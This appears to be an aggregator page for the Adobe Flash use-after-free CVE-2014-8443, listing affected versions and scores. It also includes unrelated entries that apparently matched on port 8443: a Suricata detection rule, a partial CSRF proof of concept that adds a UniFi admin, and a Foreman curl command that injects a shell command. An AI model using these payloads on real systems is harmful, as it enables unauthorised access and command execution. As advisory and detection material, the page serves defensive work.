CVE-2014-8443
published 2014-12-10CVE-2014-8443: Use-after-free vulnerability in Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on…
PriorityP346critical10CVSS 2.0
AVNACLAuNCCICAC
EPSS
4.70%
90.8th percentile
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code via unspecified vectors.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | flash_player | >= 11.0 < 11.2.202.425 | 11.2.202.425 |
| adobe | flash_player | >= 13.0 < 13.0.0.252 | 13.0.0.252 |
| adobe | flash_player | 14.0 – 14.0.0.179 | — |
| adobe | flash_player | >= 16.0 < 16.0.0.235 | 16.0.0.235 |
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vendor_redhat10.0CRITICAL
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
flash-plugin: Multiple code-execution flaws (APSB14-27)
vendor_redhat·2014-12-09·CVSS 10.0
CVE-2014-8443 [CRITICAL] flash-plugin: Multiple code-execution flaws (APSB14-27)
flash-plugin: Multiple code-execution flaws (APSB14-27)
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code via unspecified vectors.
GHSA
GHSA-g2mv-w3jp-4jfv: Use-after-free vulnerability in Adobe Flash Player before 13
ghsa_unreviewed·2022-05-14
CVE-2014-8443 [HIGH] GHSA-g2mv-w3jp-4jfv: Use-after-free vulnerability in Adobe Flash Player before 13
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code via unspecified vectors.
OSV
CVE-2014-8443: Use-after-free vulnerability in Adobe Flash Player before 13
osv·2014-12-10·CVSS 10.0
CVE-2014-8443 [CRITICAL] CVE-2014-8443: Use-after-free vulnerability in Adobe Flash Player before 13
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code via unspecified vectors.
Suricata
ET WEB_SPECIFIC_APPS Symantec Endpoint Manager XXE RCE Attempt
suricata·2014-02-26
CVE-2013-5014 ET WEB_SPECIFIC_APPS Symantec Endpoint Manager XXE RCE Attempt
ET WEB_SPECIFIC_APPS Symantec Endpoint Manager XXE RCE Attempt
Rule: alert http $EXTERNAL_NET any -> $HOME_NET [8443,9090] (msg:"ET WEB_SPECIFIC_APPS Symantec Endpoint Manager XXE RCE Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/servlet/ConsoleServlet?ActionType=ConsoleLog"; http.request_body; content:"Content-Type|3a| text/xml|0d 0a|"; nocase; content:"|3c 21|DOCTYPE"; nocase; content:"http|3a|//127.0.0.1|3a|9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum="; nocase; content:"&Parameter="; nocase; reference:cve,2013-5014; reference:cve,2013-5015; reference:url,cxsecurity.com/issue/WLB-2014020199; classtype:web-application-attack; sid:2018176; rev:4; metadata:created_at 2014_02_26, cve CVE_2013_5014, signature_severit
Exploit-DB
Ubiquiti UbiFi / mFi / AirVision - Cross-Site Request Forgery
exploitdb·2014-07-28·CVSS 8.8
CVE-2014-2225 [HIGH] Ubiquiti UbiFi / mFi / AirVision - Cross-Site Request Forgery
Ubiquiti UbiFi / mFi / AirVision - Cross-Site Request Forgery
---
# Vendor Homepage: (http://www.ubnt.com/)
# Tested on: Kali Linux
Affected Products/Versions:
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected
Description:
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
CWE: http://cwe.mitre.org/data/definitions/352.html
Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2225.html
Researcher: Seth Art - @sethsec
UniFi POC:
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"
var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xml
Exploit-DB
Foreman Smart-Proxy - Remote Command Injection
exploitdb·2014-06-05
CVE-2014-0007 Foreman Smart-Proxy - Remote Command Injection
Foreman Smart-Proxy - Remote Command Injection
---
source: https://www.securityfocus.com/bid/68117/info
Foreman is prone to a remote command-injection vulnerability.
Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy.
curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
2014-12-10
Published